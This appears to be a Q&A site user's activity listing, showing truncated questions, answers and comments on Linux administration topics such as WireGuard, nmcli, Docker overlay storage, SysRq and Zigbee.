>Mathematical Markup Language (MathML) is an XML-based language for describing mathematical notation.
Oh God it's terrifying... They even have a Latex version in https://developer.mozilla.org/en-US/docs/Web/MathML/Guides/Deriving_the_quadratic_formula for comparison and it's like 50 times long... (more) |

A: How can I check texts using mathjax? Mathjax is a JS program that runs on websites and renders fenced Latex code. If you just want to see how it renders, there are countless web repls out there. https://www.mathjax.org/#demo is one, this site is another. From your question, it sounds like you are trying to debug a complex Mathjax... (more) |

Connecting secondary wireguard VPN causes very high latency Why would adding a secondary VPN massively increase latency? Suppose I have two Wireguard VPNs, wgA and wgB. Both are from the same provider, used to access the internet in general, so allowed IPs is `0.0.0.0/0` on both. wgA is the default route, wgB is only used for traffic from a specific so... (more) |

nmcli asking for sudo when on SSH Is there a way to make `nmcli` run without sudo over SSH? `nmcli` works without sudo on my machines. But when I SSH into them, it starts giving "insufficient privileges" errors. Very annoying when trying to remotely manage my wireguard connections remotely. Probably my fault for using network ...

A: What is system Python and why does it matter? The system Python is for use by your system and it's better to not use it directly. It won't be good for you or the system. Most distros will install Python in a system-wide location so that packages that need Python can work. You're not supposed to `pip install` stuff on this Python. Instead,... (more) |

A: Suitable Linux Distro for a system with 2GB RAM 2 GB is not particularly small for Linux. "Low memory distros" would be things like OpenWRT, which can run on 64 MB of RAM. Linux itself will probably take about 150 MB of RAM so this isn't the issue. Your DE (graphical desktop environment) will eat the lion's share. Probably the most bloated ... (more) |

`sed` is quite old, and a lot of regex behavior we take for granted requires adding the right flags. For example, much of what's considered "standard regex syntax" today is disabled by default.
https://github.com/chmln/sd is a more modern version that has less surprising regex behavior. (more) |

Not many programs are as complex as git so as to require this distinction.
When there is a need to distinguish, `low level` and `high level` are much better. They don't require a whole section in the manual explaining what they mean, and are about the same length.
I actually don't know if I... (more) |

Fuzzy search through multiple files When I do `rg foo /bar/baz/`, ripgrep will search for `foo` in all files under `/bar/baz/`. For every file that has matching lines, it will print each line with its line number, highlight the matching part, and also caption the lines with the name of the file as well. The filenames are a differen... (more) |

I also saw links to Zigbe2MQTT. But I didn't really understand what it was or why it was needed. Is this "equivalent to Network Manager" that I was asking about, or a driver, or something else? (more) |

Why does nvidia CTK config need to be manually generated at each boot? For certain GPU-accelerated tasks, such as Docker containers using GPU, I need to run the following on every boot: ``` sudo nvidia-ctk cdi generate --output /var/run/cdi/nvidia.yaml ``` Without this, GPU-dependent containers refuse to launch and `nvidia-smi` doesn't work inside containers, ...

A: How do I solve the error 'Dependencies installation failed'? Bottles has a builtin dependency manager which it looks like you are using. The manager downloads dependencies from their official location and installs them in some way that works "better" for Wine as opposed to real Windows (I don't know what exactly they do different). IIRC Bottles comes w... (more) |

How to connect to Zigbee devices? I think I finally found a topic the Arch wiki doesn't cover :) I have a Zigbee USB dongle and some Zigbee-capable wireless devices. The dongle is supposed to create a network to which the devices can connect over Zigbee. How do you actually control this from Arch Linux? Is there something a... (more) |

How to enable SysRq key? I want my SysRq key to be fully functional. When I look in `sudo sysctl -a` I see `kernel.sysrq = 1` in the output. This tells me it should be working. To test, I run `echo h > /proc/sysrq-trigger` but nothing happens. I've tried this in a terminal emulator as well as a TTY. I was expecting... (more) |

| Comment | Post #292965 |
Thank you! It looks like in the output of `docker inspect $CONTAINER` there is a property `GraphDriver` that shows the overlay directories used for that container. Your answer then provides a more sophisticated way of finding the correct container. (more) |

This was after pruning, but with your additional argument for one month, it did delete the 10 GB directory. Thank you! I would still like to find out which container caused the 10 GB, so that I can prevent the issue in the future as well. (more) |

How to identify which Docker container an overlay is for? Docker stores data under directories like `/var/lib/docker/overlay2/xyz123`. These sometimes grow very large, and Docker does not provide good instructions for how to easily manage the space used by these. I assume IDs like `xyz123` somehow correspond to containers. Occasionally, I notice that... (more) |

A: How to find big files and directories?
